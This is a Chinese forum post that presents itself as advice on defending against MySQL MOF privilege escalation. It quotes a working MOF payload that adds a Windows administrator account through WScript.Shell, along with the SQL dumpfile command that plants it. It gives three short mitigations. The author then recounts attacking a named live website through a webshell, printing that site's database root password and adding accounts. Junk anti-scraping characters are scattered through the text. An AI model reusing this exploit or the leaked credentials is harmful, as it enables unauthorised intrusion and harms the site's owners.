Mysql mof扩展漏洞防范方法
7 A5 ]& ^2 b9 E! q, _7 |; f0 x; @0 s: J( Q; X5 O: V* K
网上公开的一些利用代码:, @4 N- {! g' U# \; W) T
! N. ]8 E: ~ K- x6 g6 l8 S#pragma namespace(“\\\\.\\root\\subscription”)
/ U+ h( W8 y; J/ i, r( q/ r5 ^
+ Y' z" r5 Z* {7 T Y" Pinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };0 O0 v1 B$ D9 P3 [3 F
. B& t5 @1 z" P" Q) L$ E) p
7 r. Z0 i$ |" w5 n
5 M q1 e! F5 g; ?; O r1 _
/ u9 q& ~3 `$ C" [; r$ B' K
% C, U( \% r4 G& S
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;- H6 F% N0 n6 Z! p
从上面代码来看得出解决办法:% a1 X* Y: B' g- a. }* D
& \* d+ [* [- {4 N' v4 }6 A; h
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
! G( B1 I+ ~4 x/ [# s" `
, P% W' h% V- y8 v( B8 u2、禁止使用”WScript.Shel”组件' i2 H1 t2 n' V+ f% X2 E: o e) ?* s
% K7 d% n- l( ^' C p3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
* r- ~; H. H8 M* v2 q; s" s5 c' |
' y l8 z0 Q/ m/ N& q, m当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下+ q6 F4 j0 ~, m, f) V& I" J
& a \ V( v$ I3 o- j! U$ @! y& J
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权4 K* G/ [% Z, `) l& U9 I2 h
% O" G9 [& p7 D7 r. C" Q( q0 O但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
1 r% @! m4 @2 u$ v! G6 D/ |" |0 m; m+ t2 J
看懂了后就开始练手吧
1 w& P" A! Q& p
& K. Q3 r$ h/ ~http://www.webbmw.com/config/config_ucenter.php 一句话 a
4 e x- x3 N1 H% c) I F6 x) V; ^3 ?4 B& D% l3 E
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。: p6 E. Z. ]: v8 t! n* K
* z, s$ Z. M/ ~! w0 \9 H3 h$ M/ S u于是直接用菜刀开搞
* K9 W! g& z* R9 ?% l% a- z# ?; t% Z( w" _
上马先1 G, a4 o6 [/ q3 K' r4 }& n! f/ T. V
" c; W, i+ K0 A! g: t# `+ s
既然有了那些账号 之类的 于是我们就执行吧…….5 m! c1 p ~$ Y0 a" L
& P3 P3 r- k. i! c) J0 G& N T( }
小小的说下# c1 F& k G \4 l3 b
* ~2 l9 L. x. z- k在这里第1次执行未成功 原因未知
2 n7 k0 }; I2 z" h- n
% F# m( C/ m& J) a# K9 ?' a2 ?& B" ]) M6 Z我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
. b4 U# t9 O2 J" R* U$ `/ e! z! N' _
+ J+ I) }* E7 q' G" J#pragma namespace(“\\\\.\\root\\subscription”)
; p q2 F' d0 e: ^" K7 m3 a6 p: j4 t& u- |( F7 \
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
3 h d) t8 D, c! u0 d* q4 m/ c( O! E3 J5 ~9 d: d" p! X: z
我是将文件放到C:\WINDOWS\temp\1.mof) m( A: X5 K E0 G1 V8 ]8 d) n& U
' K& {7 z) f( v; l2 @
所以我们就改下执行的代码/ B D2 C- \1 \& u
2 E8 R8 L: s2 C: r% Pselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;# B( [) L) a( }+ |+ t
1 y- h* Q% \% A5 |
' }1 q# h6 f3 r0 }( p R. ^! X
9 Z8 |; a6 c/ |7 {2 t8 \1 N; _但是 你会发现账号还是没有躺在那里。。$ Q! c% p" x5 K( q- Q
M" s7 `2 h$ [$ v, C
于是我就感觉蛋疼
: u9 U4 i( C" w: u0 `$ D5 J7 u+ e" P4 z
2 s+ h& Y5 Z& E就去一个一个去执行 但是执行到第2个 mysql时就成功了………9 z: ^9 h: e3 `4 y4 l7 W( T6 Y
/ r% d" L) x$ f2 C4 o! G S/ S h4 C i1 \% z
7 N" Y* j/ S! }$ Y: `" o
但是其他库均不成功…
3 ^& `( h' e' [) t! D. H1 d4 j8 i" u) p
我就很费解呀 到底为什么不成功求大牛解答…
1 D8 P: q2 Z4 N; O1 x# U2 t
9 i- n& L- m, X5 e) O( s
* w4 D/ r3 ~, ~: r5 m5 h u) _4 J/ Y) z ^; ]
|